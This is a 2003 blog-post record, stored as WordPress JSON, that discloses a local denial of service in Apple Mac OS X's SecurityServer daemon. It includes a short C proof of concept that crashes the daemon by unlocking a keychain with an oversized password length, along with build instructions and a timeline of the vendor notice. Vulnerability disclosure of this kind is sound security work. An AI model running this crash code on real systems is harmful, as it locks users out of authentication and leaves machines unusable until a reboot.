{"id":130,"date":"2003-12-31T06:38:49","date_gmt":"2003-12-30T23:38:49","guid":{"rendered":""},"modified":"2003-12-31T06:38:49","modified_gmt":"2003-12-30T23:38:49","slug":"local-denial-of-service-attack-against-apple-macos-x-macos-x-server-and-darwin","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2003\/12\/local-denial-of-service-attack-against-apple-macos-x-macos-x-server-and-darwin\/","title":{"rendered":"Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin."},"content":{"rendered":"<p>SecurityServer is a daemon used by the effected platforms to provide<br \/>\nauthentication, authorization, password dictionary (Keychain), and other<br \/>\nservices. It is possible for any user to cause the SecurityServer daemon to<br \/>\ncrash. When this happens it will have a cascading effect crashing other<br \/>\nprocesses, and leaving the system in an unusable state.<\/p>\n<p>It is possible to cause the SecurityServer daemon to crash by unlocking a<br \/>\nlocked keychain and specifying a very long password.<!--more--><\/p>\n<p>When the SecurityServer daemon crashes, it will have a cascading effect crashing other processes<br \/>\nthat rely on it. Since MacOS X, and many GUI and CLI programs rely on the authentication, authorization, and password dictionary services provided by SecurityServer, this can cause undefined behavior of those processes.<br \/>\nTypical behavior for programs such as login, sshd, su, and sudo are that they will say you entered an invalid password. Typical behavior for most applications that use the authorization services is that they will hang. It is not possible to manually restart the SecurityServer daemon unless you<br \/>\nalready have a existing root shell open before the attack has taken place, since SecurityServer must be launched as root and it does no have the suid bit enabled. Even when it is relaunched after an attack has taken place, it will leave the system in an unusable state. Logins via the GUI (loginwindow)will not work and authorization services will not work either. The only realistic way to recover from an attack is to reboot the machine. I have not fully investigated the extent that this attack could be exploited, or its effect on a system as a whole since so many programs and applications rely on the SecurityServer daemon.<\/p>\n<p>Proof Of Concept Code:<\/p>\n<p>To  build this code run ?gcc <file name> -framework Security ?o<br \/>\nCrashSecurityServer?<\/p>\n<p>#include <Security\/Security.h><br \/>\nint main(int argc, const char *argv[])<br \/>\n{<br \/>\n    SecKeychainRef defaultKeychain;<br \/>\n    SecKeychainCopyDefault(&#038;defaultKeychain);<br \/>\n    SecKeychainLock(defaultKeychain);<br \/>\n    SecKeychainUnlock(defaultKeychain, 0xFFFFFFFF, &#8220;password&#8221;, true);<br \/>\n    return 0;<br \/>\n}<\/p>\n<p>Vendor Response<br \/>\nApple Developer Connection told me that Apple does not give release dates<br \/>\nfor patches.<\/p>\n<p>Timeline    ??-??-??   Flaw discovered. Most likely in MacOS X Public Beta<br \/>\n                                or 10.0. I do not remember the exact date.<br \/>\n11-20-03                 Vendor is notified of flaw and is supplied with<br \/>\n                                proof of concept code.<br \/>\n12-29-03                 Asked vendor for status update. Apple Product<br \/>\n                               Security referred me to Apple Developer Connection.<br \/>\n                               Apple Developer Connection informed me that Apple<br \/>\n                               does not give release dates for patches.<br \/>\n12-30-03                Advisory and proof of concept code  released.<\/p>\n","protected":false},"excerpt":{"rendered":"<p> Local Denial Of Service Attack Against Apple MacOS X, MacOS X Server, and Darwin.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[4],"tags":[],"class_list":["post-130","post","type-post","status-publish","format-standard","hentry","category-apple"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-26","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/130","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=130"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/130\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=130"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=130"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=130"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}